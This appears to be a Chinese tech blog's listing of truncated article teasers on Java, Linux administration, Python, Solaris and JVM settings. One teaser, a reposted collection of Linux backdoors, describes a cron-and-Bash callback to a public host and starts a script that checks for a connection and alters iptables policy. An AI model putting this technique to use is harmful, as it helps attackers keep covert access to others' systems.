java工程师需要学什么

宏观上:1.技术广度方面至少要精通多门开源技术吧,研究过strutsspring等的源码。2.项目经验方面从头到尾跟过几个大项目,头是指需求阶段,包括需求调研。尾是指上线交付之后,包括维护阶段。3.架构经验方面有过分布式系统的架构和开发经验。对于跨系统的结构优化,数据存储的性能指标等有丰富经验。什么缓存啊、数据库的垂直切分什么的,业务的抽象和水平拆分啊,这些应该都轻车熟路吧。4.行业领域方面最起
阅读本文

CentOS7 LVM磁盘扩容

1:创建磁盘分区(注意红色命令部分)[root@hongyin-test-1 ~]# fdisk /dev/sda Welcome to fdisk (util-linux 2.23.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write co
阅读本文

Python 模块大全

1 算法1.1 字符串处理re正则表达式的标准库。StringIO / cStringIO以读写文件的方式来操作字符串(有点类似于内存文件)。cStringIO 是 C 语言实现的,提供高性能;而 StringIO 是 Python 实现的,提供 Unicode 兼容性。chardetchardet 可以猜测任意一段文本的字符集编码。对于编码类型未知的文本,它会很有用。chardet 既可以作为模
阅读本文

Java进阶--Chapter 1 Java的跨平台特性的原理

Java的 跨平台特性和为什么Java要拥有这个特性注:相关内容摘自网络,忘记出处,故未注明,若有不妥忘其告知,加以改正;有过基础Java知识的开发人员都知道Java是跨平台的,可我们知道Java为什么要跨平台吗,Java的跨平台又是如何实现的呢?下面我们来一一了解。什么是平台Java是可以跨平台的编程语言,那我们首先得知道什么是平台,我们把CPU处理器与操作系统的整体叫平台。  CPU大家都知道
阅读本文

XManager连接solaris 10

Xmanager登录主机提示:XDMCP connection failed 1、网络端口被禁了,找网络管理员解决,或者想办法绕过防火墙。      XDMP使用的端口为:      xdmcp           177/tcp                         # X Display Manager Control Protocal      xdmcp
阅读本文

Solaris 10 Qt 4.6.2安装与调试

linux-Fedora8操作系统安装之后一般编译器gcc通常都安装完成,Unix-Solaris10安装之后没有编译环境,因此要安装操作系统自带的IDE集成开发环境。1.配置自己的环境参数文件/etc/profile,在该文件最后增加如下环境: SEROOT=/masstra2010/masstra(自己的工程环境) QMAKESPEC=solaris-cc QTDIR=/usr/loca
阅读本文

原子哥家的 SIM800L透传模式配置

写在前面的话:    最近项目开发经常用到数据传输模块和服务器进行HTTP通信,自己已经明白了如何运用模块进行AT指令传输数据,但是如何快速的传输数据才?除了前几天发的 模块PPP拨号上网方式外,还有一种数据传输方式 透传模式! 在此谢谢 汪东海的提醒,已经没问题了! 好可爱有没有 ^-^ ! 某天,突然想,SIM900A能不能访问网页呢?如果能,直接把数据通过网页提交上去不就更简单了嘛。于是
阅读本文

安装backbox和win7双系统记录

安装backbox和win7双系统记录描述主机已先安装win7,通过ultralISO制作启动盘安装backbox错误一: error paring from pcc...这个错误是我在从U盘按安装系统的时候遇到的,然后就在这个界面了解决办法由于我使用的是win7,所以并不存在什么快速启动的问题。所以,格式化U盘,切记,格式化的时候不要勾选快速格式化。然后按照正常步骤制作启动盘即可解决。错误二 安
阅读本文

jdk8下载地址

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html Java SE Binaries ChecksumChecksum for Java SE 8u144 binaries FilenameChecksum ejdk-8u144-linux-arm-sflt.tar.gz s
阅读本文

UNIX标准及实现

UNIX 标准 ISO C:意图是提供C程序的可移植性,使得它能够适合于大量不同的操作系统。 该标准不仅定义了C程序设计语言的语法和语义,还定义了标准库 POSIX(Portable Operating System Interface): 指的是可移植操作系统接口。该标准的目的是提升应用程序在各种UNIX系统环境之间的可移植性。它定义了“符合POSIX”的操作系统必须提供
阅读本文

[转载]Linux后门整理合集(脉搏推荐)

简介利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器。利用方法nano /etc/xxxx#!/bin/bash if netstat -ano|grep -v grep | grep “8.8.8.8“>/dev/null then echo “OK“>/dev/null else /sbin/iptables --policy INPUT
阅读本文

Linux内核的一些知识。

1、中断处理函数里面为什么不能够进行sleep,信号量操作中断处理函数里面不能够进行sleep有比较多的原因,有以下几个方面:临界区肯定是不能进行sleep的,这样子会导致系统瘫痪。中断上下文没有相应的task_struct,因为 linux进程内核调度是以task_struct为单位的,所以如果进行sleep的话将无法进行恢复。但这个不是主要原因,因为 solaris的中断上下文有相应的调度描述
阅读本文

Python零基础学习系列之二--Python介绍及环境搭建

1-1、Python简介: Python是一种解释型、面向对象、动态数据类型的高级程序设计语言。Python由Guido van Rossum于1989年底发明,第一个公开发行版发行于1991年。像Perl语言一样, Python 源代码同样遵循 GPL(GNU General Public License)协议。        Python(英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑ
阅读本文

Java8环境设置

假设你已经安装在 C:Program Filesjavajdk 目录: 在“我的电脑”右键单击并选择“属性”。 在“高级”选项卡下单击“环境变量”按钮。 现在,改变“Path”变量,因此,它也包含了路径Java可执行文件。例如,如果路径当前设置为“C:WINDOWSSYSTEM32”,然后更改路径为“C:WINDOWSSYSTEM32;c:Program Filesjavajdkin”。 为L
阅读本文

Linux安装MySQL5.7

Linux安装MySQL5.7操作系统信息 # cat /etc/issueCentOS release 6.5 (Final)Kernel r on an m # uname -aLinux mysql5-6 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux   上
阅读本文

JMeter安装教程

一、           Apache JMeter介绍1.       Apache JMeter是什么Apache JMeter 是Apache组织的开放源代码项目,是一个100%纯Java桌面应用,用于压力测试和性能测量。它最初被设计用于Web应用测试但后来扩展到其它测试领域。最新的版本大家可以到http://jakarta.apache.org/site/downloads/downloa
阅读本文

SDKMAN 软件开发工具包管理器

SDKMAN 是用来在类Unix 系统中管理多个版本的开发环境的工具。提供命令行接口来安装、切换、删除、列出候选版本。SDKMAN!是在大多数基于Unix的系统上管理多个软件开发套件的并行版本的工具。它提供了一个方便的命令行界面(CLI)和API,用于安装,切换,删除和列出候选人。以前被称为GVM的Groovy环境管理器,它受到Ruby社区大量使用的非常有用的RVM和rbenv工具的启发。相关阅读
阅读本文

解决Partition table entries are not in disk order 的问题

解决Partition table entries are not in disk order 的问题 分割磁区的位置顺序没有依照次序,这常发生于删除前面的分割磁区后又再次划分新的分割区所引起的问题 问题: [root@dbserver133 ~]# fdisk -l Disk /dev/hda: 81.9 GB, 81964302336 bytes 255 heads, 63 sec
阅读本文

JVM -XX: 参数介绍

功能开关: 参数 默认值或限制 说明 参数 默认值 功能 -XX:-AllowUserSignalHandlers 限于Linux和Solaris,默认不启用 允许为java进程安装信号处理器,信号处理参见类:sun.misc.Signal, sun.misc.SignalHandler -XX:+DisableExplicitGC
阅读本文